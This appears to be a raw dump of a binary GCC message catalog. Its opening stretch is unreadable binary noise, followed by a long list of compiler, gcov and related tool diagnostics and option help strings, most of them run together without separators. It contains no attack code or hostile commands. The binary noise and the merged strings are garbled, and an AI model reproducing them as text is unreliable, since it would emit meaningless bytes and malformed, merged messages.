H{7'Dm
|%L	Ie

EA	33
P++	)$K
d	dOp
Lal?Z	:
P
4
P&_
q{K7	tWd$
T	]O
&v
Jb	
AI:6	lE
kf$	
\Y2
	Et	S

	u
0Y#[	, e	DK	&|3
	1:f&VTF	/		|QQ(!		{'Xi
	!75s@[n	
i
"z
gEE
f	zJ

	

dx
<9	6
\j	H	^	
Vb		s@-JK	Zf
!	
A	
C	a
UNiX	q`h^+
vn(U_R	w$'yA!BZ		
e~	Uq
#

xh}Uxr9

G#	s/J		za[o1	
p)
2W	8	Ay
a

e

/ N$
J{:Z	(
it5FK
g

J\EEpq
'	9Q
Xhcrnm'
7l
@
	C


'k	\
	+Dg3
	%Bns
_
	
1	X<t
@O?e5
.	y
G
	
						
GNl
G
	
d
S<$o593{ ]N4	)b
_XW
f"kN	2r
nv
|MGC	~


Z
_=
#RWL

GGcZ

{	r0
~'
D
T

%

W=%Y
n_	 U	?	n2ho

	<u	
7
V
S
DM	
}
dYi!Q

+
K

H	Z	4j
N)o
+
dUN2^Y	?(Y	O
	
f
:);
a			h
``	W
G9	e|i
H
a84
t
kN
*L^(

Z{
X	B^(MC>

84Bfq
I
.
0S	Y9
n6K
?23

K]O*_d
	qC
(
s
	IOBY	d"m(6 
7	ju _X<

yjn
3Y
5		s	DD%ZO
 
m

@

#*	7

qr


-P		%	~N)	9	t	uv

zu
;gaA
kf	6~	^
	})]:*
"
#

AW5

	C&`	XQz<~
/&
"Vvc
Sg	[
2
iVe-H	d	

8SHCT

\	|F$3D
O

Y-	>tuK
1Gw{^z&(M*
j	ls			]>
[JP
0bHV!I
Y

W
|M
5`-

=
F4D	t{Vzw&
.R
fy
R/y5L
oy
kJw	

`<S1rMlj
:

Q}

%s: %d: warning: can't add declaration of '%s' into macro call

%s: error reading input file '%s': %s

%s: fatal error: aux info file corrupted at line %d

%s: warning: too few parameter lists in declaration of '%s'

Execution times (seconds)

For bug reporting instructions, please see:

For bug reporting instructions, please see:
%s.

Go ahead? (y or n) 
Linker options
==============


Options starting with -g, -f, -m, -O, -W, or --param are automatically
 passed on to the various sub-processes invoked by %s.  In order to pass
 other options on to these processes the -W<letter> options must be used.

ldd output with constructors/destructors.

write_c_file - output name is %s, prefix is %s
                           Display specific types of command line options
    inlined from %qs    inlined from %qs at %s:%d    inlined from %qs at %s:%d:%d   in pointer to member conversion   in pointer to member function conversion  (Use '-v --help' to display command line options of sub-processes)
  -###                     Like -v but options quoted and commands not executed
  --bootclasspath PATH    Override built-in class path
  --classpath PATH        Set path to find .class files
  --extdirs PATH          Set extensions directory path
  --help                   Display this information
  --help                  Print this help, then exit
  --javap                 Generate output in 'javap' format
  --sysroot=<directory>    Use <directory> as the root directory for headers
                           and libraries
  --target-help            Display target specific command line options
  --version               Print version number, then exit
  -B <directory>           Add <directory> to the compiler's search paths
  -E                       Preprocess only; do not compile, assemble or link
  -IDIR                   Append directory to class path
  -S                       Compile only; do not assemble or link
  -V <version>             Run gcc version number <version>, if installed
  -Wa,<options>            Pass comma-separated <options> on to the assembler
  -Wl,<options>            Pass comma-separated <options> on to the linker
  -Wp,<options>            Pass comma-separated <options> on to the preprocessor
  -Xassembler <arg>        Pass <arg> on to the assembler
  -Xlinker <arg>           Pass <arg> on to the linker
  -Xpreprocessor <arg>     Pass <arg> on to the preprocessor
  -a, --all-blocks                Show information for every basic block
  -b <machine>             Run gcc for target <machine>, if installed
  -b, --branch-probabilities      Include branch probabilities in output
  -c                       Compile and assemble, but do not link
  -c                      Disassemble method bodies
  -c, --branch-counts             Given counts of branches taken
                                    rather than percentages
  -combine                 Pass multiple source files to compiler at once
  -dumpmachine             Display the compiler's target processor
  -dumpspecs               Display all of the built in spec strings
  -dumpversion             Display the version of the compiler
  -f, --function-summaries        Output summaries for each function
  -h, --help                      Print this help, then exit
  -l, --long-file-names           Use long output file names for included
                                    source files
  -n, --no-output                 Do not create an output file
  -o <file>                Place the output into <file>
  -o FILE                 Set output file name
  -o, --object-directory DIR|FILE Search for object files in DIR or called FILE
  -p, --preserve-paths            Preserve all pathname components
  -pass-exit-codes         Exit with highest error code from a phase
  -pipe                    Use pipes rather than intermediate files
  -print-file-name=<lib>   Display the full path to library <lib>
  -print-libgcc-file-name  Display the name of the compiler's companion library
  -print-multi-directory   Display the root directory for versions of libgcc
  -print-multi-lib         Display the mapping between command line options and
                           multiple library search directories
  -print-multi-os-directory Display the relative path to OS libraries
  -print-prog-name=<prog>  Display the full path to compiler component <prog>
  -print-search-dirs       Display the directories in the compiler's search path
  -print-sysroot-headers-suffix Display the sysroot suffix used to find headers
  -save-temps              Do not delete intermediate files
  -specs=<file>            Override built-in specs with the contents of <file>
  -std=<standard>          Assume that the input sources are for <standard>
  -time                    Time the execution of each subprocess
  -u, --unconditional-branches    Show unconditional branch counts too
  -v                       Display the programs invoked by the compiler
  -v, --verbose           Print extra information while running
  -v, --version                   Print version number, then exit
  -x <language>            Specify the language of the following input files
                           Permissible languages include: c c++ assembler none
                           'none' means revert to the default behavior of
                           guessing the language based on the file's extension
  as it is a non-system directory that duplicates a system directory
  base %qT  because conversion sequence for the argument is better  but %d required  but does not override %<%T(const %T&)%>  but does not override %<operator=(const %T&)%>  by %q+D  candidate conversions include %qD and %qD  cannot use obsolete binding at %q+D because it has a destructor  conflict with %q+D  enters catch block  enters try block  expected a class template, got %qE  expected a class template, got %qT  expected a constant of type %qT, got %qT  expected a template of type %qD, got %qD  expected a type, got %qE  expected a type, got %qT  for conversion from %qT to %qT  from here  in call to %qD  in evaluation of %<%Q(%#T, %#T)%>  in instantiation of template %qT  in thrown expression  initializing argument %P of %qD  matches this %q+D under ISO standard rules  matches this %q+D under old rules  or %<operator=(const %T&)%>  overriding %q+#D  overriding %q+#F  since %q+#D declared in base class  trying to instantiate %qD  using obsolete binding at %q+D (frv) All options with the desired characteristics have already been displayed
 No options with the desired characteristics were found
 Pending stmts not issued on ENTRY edge (%d, %d)
 Pending stmts not issued on EXIT edge (%d, %d)
 Pending stmts not issued on PRED edge (%d, %d)
 Pending stmts not issued on SUCC edge (%d, %d)
 TOTAL                 : conflicting code gen style switches are used"%s" is not a valid option to the preprocessor# %s %.2f %.2f
#include "..." search starts here:
#include <...> search starts here:
#pragma GCC visibility must be followed by push or pop#pragma GCC visibility push() must specify default, internal, hidden or protected#pragma GHS endXXX does not match previous startXXX#pragma GHS endXXXX found without previous startXXX#pragma extern_prefix not supported on this target#pragma implementation for %qs appears after file is included#pragma pack (pop) encountered without matching #pragma pack (push)#pragma pack has no effect with -fpack-struct - ignored#pragma pack(pop, %s) encountered without matching #pragma pack(push, %s)#pragma pack(pop[, id], <n>) is not supported on this target#pragma pack(push[, id], <n>) is not supported on this target#pragma redefine_extname ignored due to conflict with __asm__ declaration#pragma redefine_extname ignored due to conflict with previous #pragma redefine_extname#pragma redefine_extname ignored due to conflict with previous rename#pragma redefine_extname not supported on this target#pragma vtable no longer supported$ operand number used after format without operand number%+D causes a section type conflict%<%%%> constraint used with last operand%<%%%c%> yields only last 2 digits of year%<%%%c%> yields only last 2 digits of year in some locales%<%T::%D%> is not a valid declarator%<%T::%D%> names constructor%<%T::%D%> names constructor in %qT%<%T::%D%> names destructor%<%c%s%> not found in protocol(s)%<%s %E%> declared inside parameter list%<&%> constraint used with no register class%<-gnat%> misspelled as %<-gant%>%<...%> as arguments.)%<...%> has invalid operand number%<::main%> must return %<int%>%<<:%> is an alternate spelling for %<[%>. Insert whitespace between %<<%> and %<::%>%<<::%> cannot begin a template-argument list%<@end%> missing in implementation context%<@end%> must appear in an @implementation context%<@throw%> (rethrow) used outside of a @catch block%<@try%> without %<@catch%> or %<@finally%>%<__alignof%> applied to a bit-field%<__builtin_longjmp%> second argument must be 1%<__builtin_next_arg%> called without an argument%<__gcc_host_wide_int__%> is not defined as %<long%> or %<long long%>%<__gcc_host_wide_int__%> is not defined as a type%<__thread%> before %<extern%>%<__thread%> before %<static%>%<__thread%> used with %<auto%>%<__thread%> used with %<register%>%<__thread%> used with %<typedef%>%<__thread%> used with %qE%<and%> of mutually exclusive equal-tests is always 0%<asm%> operand constraint incompatible with operand size%<asm%> operand requires impossible reload%<asm%> specifiers are not permitted on non-static data members%<auto%> in file-scope empty declaration%<const%> and %<volatile%> function specifiers on %qD invalid in %s declaration%<default%> label in scope of identifier with variably modified type not containing enclosing switch statement%<default%> label in statement expression not containing enclosing switch statement%<default%> label not within a switch statement%<enum %E%> declared in %<for%> loop initial declaration%<explicit%> can only be specified for constructors%<friend%> can only be specified inside a class%<inline%> in empty declaration%<inline%> is not allowed in declaration of friend template specialization %qD%<inline%> specified for friend class declaration%<inline%> specifier invalid for function %qs declared out of global scope%<location_t%> is not defined as a type%<locus%> is not defined as a type%<long long long%> is too long for GCC%<long long%> invalid for %qs%<long%> and %<short%> specified together for %qs%<long%> invalid for %qs%<long%> or %<short%> invalid for %qs%<long%> or %<short%> specified with char for %qs%<long%> switch expression not converted to %<int%> in ISO C%<noreturn%> function returns non-void value%<operator delete%> must return type %qT%<operator delete%> takes type %qT as first parameter%<operator new%> must not return NULL unless it is declared %<throw()%> (or -fcheck-new is in effect)%<operator new%> must return type %qT%<operator new%> takes type %<size_t%> (%qT) as first parameter%<operator=%> should return a reference to %<*this%>%<or%> of unmatched not-equal tests is always 1%<register%> in file-scope empty declaration%<return%> with a value, in function returning void%<return%> with no value, in function returning non-void%<short%> invalid for %qs%<signed%> and %<unsigned%> specified together for %qs%<signed%> or %<unsigned%> invalid for %qs%<static%> may not be used when defining (as opposed to declaring) a static data member%<static%> specified invalid for function %qs declared out of global scope%<struct %E%> declared in %<for%> loop initial declaration%<this%> is unavailable for static member functions%<trap%> and %<far%> attributes are not compatible, ignoring %<far%>%<trap%> attribute is already used%<tree%> is not defined as a pointer type%<tree%> is not defined as a type%<typedef%> was ignored in this declaration%<union %E%> declared in %<for%> loop initial declaration%<va_start%> used in function with fixed args%<void%> as only parameter may not be qualified%<void%> must be the only parameter%D renamed after being referenced in assembly%H   by earlier handler for %<%T%>%H   by earlier handler for %qT%H  from here%H%<...%> handler must be the last handler for its try block%H%<>>%> should be %<> >%> within a nested template argument list%H%<noreturn%> function does return%H%qE defined as wrong kind of tag%H%qE undeclared (first use in this function)%H%qE undeclared here (not in a function)%H%s%H(Each undeclared identifier is reported only once%HCorrupted value profile: %s profiler overall count (%d) does not match BB count (%d)%Hcreating selector for nonexistent method %qE%Hduplicate class will only be compiled once%Hduplicate label %qD%Henumeration value %qE not handled in switch%Hexception of type %qT will be caught%Hfor each function it appears in.)%Hignoring #pragma %s %s%Hignoring return value of %qD, declared with attribute warn_unused_result%Hignoring return value of function declared with attribute warn_unused_result%Hprototype declaration%Hstatement with no effect%Hstray %<@%> in program%Hsuggest explicit braces to avoid ambiguous %<else%>%Hswitch missing default case%Htraditional C lacks a separate namespace for labels, identifier %qE conflicts%Hvalue computed is not used%Hwill never be executed%J  enters catch block%J  you can work around this by removing the initializer%J%qE attribute applies only to functions%J%s %<%c%s%>%J%s %qs%Jabstract method in non-abstract class%Jaddress area attribute cannot be specified for functions%Jalias definitions not supported in this configuration%Jan address area attribute cannot be specified for local variables%Jan anonymous struct cannot have function members%Jan anonymous union cannot have function members%Jcan%'t set %qE attribute after definition%Jcase value %qs not in enumerated type%Jcase value %qs not in enumerated type %qT%Jconflicts with previous declaration here%Jdata area attributes cannot be specified for local variables%Jflexible array member in otherwise empty struct%Jflexible array member in union%Jflexible array member not at end of struct%Jfollows non-prototype definition here%Jfunction might be possible candidate for attribute %<noreturn%>%Jinvalid use of structure with flexible array member%Jjump into scope of identifier with variably modified type%Jjump into statement expression%Jold-style function definition%Jold-style parameter declarations in prototyped function definition%Jonly weak aliases are supported in this configuration%Jparameter %u has incomplete type%Jparameter %u has void type%Jparameter name missing from parameter list%Jparameter name omitted%Jprevious definition here%Jpreviously used here%Jsection attribute cannot be specified for local variables%Jsection attributes are not supported for this target%Jshadowed declaration is here%Jthis is the first default label%Jthis is the first entry overlapping that value%Jtotal size of local objects too large%Jtraditional C rejects ISO C style function definitions%Jtypedef name may not be a nested-name-specifier%Jweakref attribute must appear before alias attribute%Jweakref is not supported in this configuration%d constructor(s) found
%d destructor(s)  found
%d frame table(s) found
%i-bit mode not compiled in%q#D conflicts with previous using declaration %q#D%q#D hides constructor for %q#T%q#D is not a static member of %q#T%q#T has pointer data members%q#T has virtual functions and accessible non-virtual destructor%q#T is not a class%q#T only defines a private destructor and has no friends%q#T only defines private constructors and has no friends%q#T used where a %qT was expected%q#T used where a floating point value was expected%q+#D cannot be declared%q+#D does not refer to the unqualified type, so it is not used for linkage%q+D aliased to external symbol %qs%q+D aliased to undefined symbol %qs%q+D already declared with dllexport attribute: dllimport ignored%q+D causes a section type conflict%q+D contains empty classes which may cause base classes to be placed at different locations in a future version of GCC%q+D declared as a friend%q+D declared as a non-parameter%q+D declared here%q+D declared with an exception specification%q+D defined both normally and as an alias%q+D defined but not used%q+D has a previous declaration here%q+D is normally a non-static function%q+D is not a function,%q+D is too small to hold all values of %q#T%q+D is usually a function%q+D may not be static because it is a member of a union%q+D may not have reference type %qT because it is a member of a union%q+D redeclared as different kind of symbol%q+D redeclared without dllimport attribute after being referenced with dll linkage%q+D redeclared without dllimport attribute: previous dllimport ignored%q+D takes only zero or two arguments%q+D was hidden%q+D was used with no declaration before its definition%q+D was used with no prototype before its definition%q+D will be initialized after%q+F declared %<static%> but never defined%q+F used but never defined%q+T has a previous declaration here%qD attribute directive ignored%qD cannot be declared virtual, since it is always static%qD cannot be initialized by a non-constant expression when being declared%qD cannot be thread-local because it has non-POD type %qT%qD cannot have default arguments%qD declared as a %<virtual%> %s%qD declared as an %<inline%> %s%qD declared as reference but not initialized%qD has an incomplete type%qD has incomplete type%qD has the same name as the class in which it is declared%qD is already a friend of %qT%qD is already a friend of class %qT%qD is already declared in this scope%qD is already defined in %qT%qD is already defined in class %qT%qD is already defined in the class %qT%qD is both a direct base and an indirect virtual base%qD is not a class or namespace%qD is not a function template%qD is not a member of %qT%qD is not a member template function%qD is not a template function%qD is not a type%qD is not declared in %qD%qD is not defined outside of function scope%qD is thread-local and so cannot be dynamically initialized%qD may not be declared as static%qD may not be declared within a namespace%qD must be a nonstatic member function%qD must be either a non-static member function or a non-member function%qD must have an argument of class or enumerated type%qD must not have variable number of arguments%qD must take %<void%>%qD must take either one or two arguments%qD must take either zero or one argument%qD must take exactly one argument%qD must take exactly two arguments%qD not declared%qD not defined%qD should have been declared inside %qD%qD should never be overloaded%qD should return by value%qD used without template parameters%qD was declared %<extern%> and later %<static%>%qD was not declared in this scope%qE attribute have effect only on public objects%qE attribute ignored%qE attribute ignored for %qE%qE attribute ignored for field of type %qT%qE attribute ignored on non-class types%qE attribute ignored on types%qE attribute only applies to variadic functions%qE attribute requires prototypes with named arguments%qE cannot be used as a function%qE cannot be used as a member pointer, since it is of type %qT%qE fails to be a typedef or built in type%qE is an unrecognized format function type%qE is not at beginning of declaration%qE is not of type %qT%qT declared with greater visibility than its base %qT%qT declared with greater visibility than the type of its field %qD%qT has a base %qT whose type uses the anonymous namespace%qT has a field %qD whose type uses the anonymous namespace%qT has no member named %qE%qT has no non-static data member named %qD%qT is already a friend of %qT%qT is an ambiguous base of %qT%qT is an inaccessible base of %qT%qT is not a base of %qT%qT is not a class or namespace%qT is not a class, struct, or union type%qT is not a member of %qT%qT is not a namespace%qT is not a nested class of %qT%qT is not a pointer-to-object type%qT is not a template%qT is not a template type%qT is not an accessible base of %qT%qT is promoted to %qT when passed through %<...%>%qT referred to as %qs%qT referred to as enum%qs appears to be a misspelled interrupt handler%qs appears to be a misspelled signal handler%qs attribute applies only to initialized variables with external linkage%qs attribute argument not a string constant%qs attribute argument not an integer constant%qs attribute directive ignored%qs attribute does not apply to types%qs attribute ignored%qs attribute only applies to function types%qs attribute only applies to functions%qs attribute only applies to interrupt functions%qs attribute only applies to variables%qs attribute requires an integer constant argument%qs can only be specified for functions%qs declared as both exported to and imported from a DLL%qs declared as function returning a function%qs declared as function returning an array%qs expects a constant argument%qs has both %<extern%> and initializer%qs has overflowed%qs incompatible attribute ignored%qs initialized and declared %<extern%>%qs is deprecated%qs is deprecated (declared at %s:%d)%qs is narrower than values of its type%qs is not a gcov data file%qs is not a valid output file%qs is not an Objective-C class name or alias%qs is version %q.*s, expected version %q.*s%qs may not respond to %<%c%s%>%qs redeclared as different kind of symbol%s%s
%s %+#T%s %D(%T) <built-in>%s %D(%T, %T) <built-in>%s %D(%T, %T, %T) <built-in>%s %T <conversion>%s %qs does not fully implement the %qs protocol%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s '%s'
%s between distinct pointer types %qT and %qT lacks a cast%s cannot be used in asm here%s cannot resolve address of overloaded function%s does not support %%n$ operand number formats%s does not support %s%s does not support %s with the %<%%%c%> %s format%s does not support block_ends_with_call_p%s does not support block_ends_with_condjump_p%s does not support can_duplicate_block_p%s does not support can_merge_blocks_p%s does not support create_basic_block%s does not support delete_basic_block%s does not support duplicate_block%s does not support flow_call_edges_add%s does not support make_forwarder_block%s does not support merge_blocks%s does not support move_block_after%s does not support predict_edge%s does not support predicted_by_p%s does not support redirect_edge_and_branch%s does not support redirect_edge_and_branch_force%s does not support split_block%s does not support split_edge%s does not support the %<%%%c%> %s format%s does not support the %<%%%s%c%> %s format%s does not support the %qs %s length modifier%s expression list treated as compound expression%s has no effect%s ignored with %s and %<%%%c%> %s format%s ignored with %s in %s format%s is a reference, not call, to function %qE%s is not supported by this configuration%s returned %d exit status%s should have type %<%T%s%>, but argument %d has type %qT%s should have type %<%s%s%>, but argument %d has type %qT%s terminated with signal %d [%s]%s%s used with %<%%%c%> %s format%s%s%s %sversion %s (%s)
%s	compiled by GNU C version %s, %s%s%s %sversion %s (%s) compiled by CC, %s%sGGC heuristics: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%swarning: %s header version %s differs from library version %s.
%s-%s is an empty range%s: %d basic blocks and %d edges/basic block%s: %d basic blocks and %d registers%s: %d: '%s' used but missing from SYSCALLS
%s: %d: warning: '%s' excluded by preprocessing
%s: %d: warning: definition of %s not converted
%s: %d: warning: found '%s' but expected '%s'
%s: %d: warning: no extern definition for '%s'
%s: %d: warning: source too confusing
%s: %d: warning: varargs function declaration not converted
%s: %s%s: %s compiler not installed on this system%s: %s exited with status %d
%s: %s: can't get status: %s
%s: '%s' not converted
%s: --param arguments should be of the form NAME=VALUE%s: Cannot open output file: %s
%s: Failed to close output file %s
%s: PCH file was invalid%s: attempt to rename spec '%s' to already defined spec '%s'%s: can't change mode of file '%s': %s
%s: can't create/open clean file '%s': %s
%s: can't create/open output file '%s': %s
%s: can't delete aux info file '%s': %s
%s: can't delete file '%s': %s
%s: can't get status for file '%s': %s
%s: can't get status of aux info file '%s': %s
%s: can't link file '%s' to '%s': %s
%s: can't open aux info file '%s' for reading: %s
%s: can't open file '%s' for reading: %s
%s: can't read aux info file '%s': %s
%s: cannot get working directory: %s
%s: cannot open as COFF file%s: compiling '%s'
%s: conflict list for '%s' follows:
%s: conflicting extern definitions of '%s'
%s: converting file '%s'
%s: couldn%'t open PCH file: %m%s: declaration of function '%s' not converted
%s: declarations of '%s' will not be converted
%s: definition of function '%s' not converted
%s: error closing aux info file '%s': %s
%s: error reading aux info file '%s': %s
%s: error writing file '%s': %s
%s: found definition of '%s' at %s(%d)
%s: function definition not converted
%s: global declarations for file '%s' not inserted
%s: input file names must have .c suffixes: %s
%s: invalid file name: %s
%s: linker input file unused because linking not done%s: local declaration for function '%s' not inserted
%s: multiple static defs of '%s' in file '%s'
%s: not a COFF file%s: subprocess got fatal signal %d
%s: usage '%s [ -VqfnkN ] [ -i <istring> ] [ filename ... ]'
%s: usage '%s [ -VqfnkNlgC ] [ -B <dirname> ] [ filename ... ]'
%s: wait: %s
%s: warning: can't rename file '%s' to '%s': %s
%s: warning: file '%s' already saved in '%s'
%s: warning: missing SYSCALLS file '%s'
%s: warning: no read access for file '%s'
%s: warning: no static definition for '%s' in file '%s'
%s: warning: no write access for dir containing '%s'
%s: warning: no write access for file '%s'
%s: warning: too many parameter lists in declaration of '%s'
%s: warning: using formals list from %s(%d) for function '%s'
%s: would convert file '%s'
%s:%d: confused by earlier errors, bailing out
%s:%d: declaration of function '%s' takes different forms
%s:'%s' has arcs from exit block
%s:'%s' has arcs to entry block
%s:'%s' lacks entry and/or exit blocks
%s:already seen blocks for '%s'
%s:cannot open data file, assuming not executed
%s:cannot open graph file
%s:cannot open source file
%s:corrupted
%s:could not open output file '%s'
%s:creating '%s'
%s:error writing output file '%s'
%s:graph is unsolvable for '%s'
%s:no functions found
%s:no lines for '%s'
%s:not a gcov data file
%s:not a gcov graph file
%s:overflowed
%s:profile mismatch for '%s'
%s:source file is newer than graph file '%s'
%s:stamp mismatch with graph file
%s:unknown function '%u'
%s:version '%.4s', prefer '%.4s'
%s:version '%.4s', prefer version '%.4s'
'' ' flag'!' flag'#' flag'%%%c' is not a valid operand prefix'%%l' operand isn't a label'%s' is not a valid class name'%s' was assigned to '%s', but was not defined during recompilation, or vice versa''' flag'(' flag'+' flag'-%c' must come at the start of the command line'-%c' option must have argument'-' flag'0' flag'B' operand has multiple bits set'B' operand is not constant'E' modifier'I' flag'O' modifier'^' flag'_' flag'a' flag'm' flag'o' operand is not constant'q' flag(C)(Messages without a matching method signature(a pointer to member can only be formed with %<&%E%>)(an out of class initialization is required)(if you use %<-fpermissive%>, G++ will accept your code, but allowing the use of an undeclared name is deprecated)(near initialization for %qs)(perhaps %<typename %T::%E%> was intended)(perhaps a semicolon is missing after the definition of %qT)(perhaps the %<offsetof%> macro was used incorrectly)(so you should pass %qT not %qT to %<va_arg%>)(the message is only displayed one per source file)
--param inline-unit-growth limit reached--param large-function-growth limit reached--param large-stack-frame-growth limit reached--param max-inline-insns-auto limit reached--param max-inline-insns-single limit reached--resource requires -o-E or -x required when input is from standard input-I- specified twice-Wformat-extra-args ignored without -Wformat-Wformat-nonliteral ignored without -Wformat-Wformat-security ignored without -Wformat-Wformat-y2k ignored without -Wformat-Wformat-zero-length ignored without -Wformat-Xbind-now and -Xbind-lazy are incompatible-bundle not allowed with -dynamiclib-bundle_loader not allowed with -dynamiclib-c or -S required for Ada-client_name not allowed with -dynamiclib-current_version only allowed with -dynamiclib-f%s and -msdata=%s are incompatible-f%s ignored for 68HC11/68HC12 (not supported)-f%s ignored for Unicos/Mk (not supported)-f%s ignored for target (all code is position independent)-f%s is not supported with CONST16 instructions-f%s not supported: ignored-f%sleading-underscore not supported on this target machine-fPIC and -fpic are not supported in this configuration-fPIC and -mcall-%s are incompatible-fdata-sections not supported for this target-femit-class-file should used along with -fsyntax-only-ffunction-sections disabled; it makes profiling impossible-ffunction-sections not supported for this target-fhandle-exceptions has been renamed -fexceptions (and is now on by default)-fjni and -femit-class-file are incompatible-fjni and -femit-class-files are incompatible-force_flat_namespace not allowed with -dynamiclib-fpic and -mapcs-reent are incompatible-fprefetch-loop-arrays is not supported with -Os-fprefetch-loop-arrays not supported for this target-fprefetch-loop-arrays not supported for this target (try -march switches)-freorder-blocks-and-partition does not support unwind info-freorder-blocks-and-partition does not work on this architecture-freorder-blocks-and-partition does not work with exceptions-frepo must be used with -c-fstack-protector not supported for this target-g is only supported when using GAS on this processor,-g option disabled-g with -mno-apcs-frame may not give sensible debugging-install_name only allowed with -dynamiclib-keep_private_externs not allowed with -dynamiclib-m%s not supported in this configuration-m64 requires a PowerPC64 cpu-maix64 and POWER architecture are incompatible-maix64 required: 64-bit computation with 32-bit addressing not yet supported-maix64 requires PowerPC64 architecture remain enabled-mapcs-stack-check incompatible with -mno-apcs-frame-max-stackframe=%d is not usable, not between 0 and %d-mbig-endian and -mlittle-endian may not be used together-mbnu210 is ignored (option is obsolete)-mcall-aixdesc must be big endian-mcmodel= is not supported on 32 bit systems-mcpu=%s is not valid-mdynamic-no-pic overrides -fpic or -fPIC-mfloat-abi=hard and VFP-mglibc and -muclibc used together-mhard-float not supported-mieee not supported on Unicos/Mk-mieee-with-inexact not supported on Unicos/Mk-mlong-double-64 not allowed with -m64-mmultiple is not supported on little endian systems-mn is used without -mh or -ms-mpic-register= is useless without -fpic-mrelocatable and -mcall-%s are incompatible-mrelocatable and -mno-minimal-toc are incompatible-mrelocatable and -msdata=%s are incompatible-ms2600 is used without -ms-msdata=%s and -mcall-%s are incompatible-mshared-library-id= specified without -mid-shared-library-mshared-library-id=%s is not between 0 and %d-msingle-float and -msoft-float cannot both be specified-msoft-float and -mhard_float may not be used together-mstring is not supported on little endian systems-pg and -fomit-frame-pointer are incompatible-pipe not supported-private_bundle not allowed with -dynamiclib128-bit long double not supported for VAX floats31 bit ABI387 instruction set disabled, using SSE arithmetics64 bit ABI<During initialization>
<anonymous><built-in><command-line>@catch parameter is not a known Objective-C class typeA factor for tuning the upper bound that swing modulo scheduler uses for scheduling a loopA synonym for -std=c89 (for C) or -std=c++98 (for C++)A threshold on the average loop count considered by the swing modulo schedulerAPCS reentrant code not supported.  IgnoredASSERT_EXPR with an always-false conditionAUX pointer initialized for edge %d->%dAccept definition of macros in <file>Add <dir> to the end of the main framework include pathAdd <dir> to the end of the main include pathAdd <dir> to the end of the quote include pathAdd <dir> to the end of the system include pathAdd <dir> to the start of the system include pathAdd a MAKE-quoted targetAdd a common subexpression elimination pass after loop optimizationsAdd an unquoted targetAdd extra commentary to assembler outputAdd mudflap bounds-checking instrumentation for multi-threaded programAdd mudflap bounds-checking instrumentation for single-threaded programAdditional debug printsAlias for -femit-class-fileAlias for -mfloat-abi=hardAlias for -mfloat-abi=softAlign all labelsAlign all loops to 32 byte boundaryAlign code and data to 32 bitsAlign destination of the string operationsAlign labels which are only reached by jumpingAlign some doubles on dword boundaryAlign the start of functionsAlign the start of loopsAlign to the base type of the bit-fieldAlign variables on a 32-bit boundaryAllow bit-fields to cross word boundariesAllow branches to be packed with other instructionsAllow fast jumps to the message dispatcherAllow function addresses to be held in registersAllow hardware floating-point instructions to cover both 32-bit and 64-bit operationsAllow loop optimizations to assume that the loops behave in normal wayAllow math optimizations that may violate IEEE or ISO standardsAllow premature scheduling of queued insnsAllow speculative motion of more loadsAllow speculative motion of non-loadsAllow speculative motion of some loadsAllow the arguments of the '?' operator to have different typesAllow two instructions to be issued per cycleAlternate calling conventionAltiVec and E500 instructions cannot coexistAltiVec argument passed to unprototyped functionAlways check for non gcj generated classes archivesAlways generate long callsAlways treat bitfields as int-sizedAmend appropriate diagnostic messages with the command line option that controls themAppend underscores to externally visible namesApply variable expansion when loops are unrolledArithmetic NaN at %LArithmetic OK at %LArithmetic overflow at %LArithmetic underflow at %LArray bound mismatchArray operands are incommensurate at %LArray reference out of boundsAssembler options
=================

Assume GASAssume a large TLS segmentAssume all symbols have 32-bit valuesAssume all variable arg functions are prototypedAssume arguments alias neither each other nor globalsAssume arguments may alias globals but not each otherAssume big endian bytes, little endian wordsAssume code will be assembled by GASAssume code will be linked by GNU ldAssume code will be linked by HP ldAssume floating-point operations can trapAssume native functions are implemented using JNIAssume no NaNs or infinities are generatedAssume normal C execution environmentAssume possible double misalignmentAssume pt* instructions won't trapAssume signed arithmetic overflow wraps aroundAssume small address spaceAssume strict aliasing rules applyAssume symbols might be invalidAssume target CPU is configured as big endianAssume target CPU is configured as little endianAssume that receivers of Objective-C messages may be nilAssume the VxWorks RTP environmentAssume the VxWorks vThreads environmentAssume the runtime uses a hash table to map an object to its synchronization structureAt top level:Attempt to fill delay slots of branch instructionsAttempt to keep stack aligned to this power of 2Attempt to merge identical constants across compilation unitsAttempt to merge identical constants and constant variablesAuto pre/post decrement increment allowedAuto pre/post decrement increment not allowedAutomatically align branch targets to reduce branch penaltiesAvoid all range limits on call instructionsAvoid generating pc-relative calls; use indirectionAvoid speculative loads to work around a hardware anomaly.BB %i can not throw but has EH edgesBB %i last statement has incorrectly set regionBB_RTL flag not set for block %dBad IO basetype (%d)Bad byte codes.
Bad nameBad pointer object in PURE procedure at %LBound on number of candidates below that all candidates are considered in iv optimizationsBound on number of iv uses in loop optimized in iv optimizationsBound on size of expressions used in the scalar evolutions analyzerBound on the cost of an expression to compute the number of iterationsBound on the number of iterations the brute force # of iterations analysis algorithm evaluatesBranches are this expensive (1-5, arbitrary units)Branches executed:%s of %d
C++ constructors and destructors will not be invoked for Objective-C fieldsCPU you selected does not support x86-64 instruction setCRIS-port assertion failed: Call a library routine to do integer divisionsCall mcount for profiling before a function prologueCalling %qD with attribute sseregparm without SSE/SSE2 enabledCalling %qT with attribute sseregparm without SSE/SSE2 enabledCalls executed:%s of %d
Can't convert %s to %s at %LCannot open '%s' for output.
Cause gas to print tomcat statisticsChange only the low 8 bits of the stack pointerChange the ABI to allow double word insnsChange the amount of scheduler lookaheadChange the maximum length of conditionally-executed sequencesChange the number of temporary registers that are available to conditionally-executed sequencesChange the stack pointer without disabling interruptsChange when template instances are emittedCheck for syntax errors, then stopCheck the return value of newChoose input encoding (defaults from your locale)Cirrus: Place NOPs to avoid invalid instruction combinationsCode size: small, medium or largeCompile code for ARC variant CPUCompile code for M16C variantsCompile code for M32C variantsCompile code for M32CM variantsCompile code for R8C variantsCompile for 32-bit pointersCompile for 64-bit pointersCompile for ETRAX 100 (CRIS v8)Compile for ETRAX 4 (CRIS v3)Compile for V8+ ABICompile for a 68HC11Compile for a 68HC12Compile for a 68HCS12Compile for the Thumb not the ARMCompile for the m32rCompile for the m32r2Compile for the m32rxCompile for the v850 processorCompile for the v850e processorCompile for the v850e1 processorCompile whole compilation unit at a timeCompile with 16-bit integer modeCompile with 32-bit integer modeComponent at %C must have the POINTER attributeConfigured with: %s
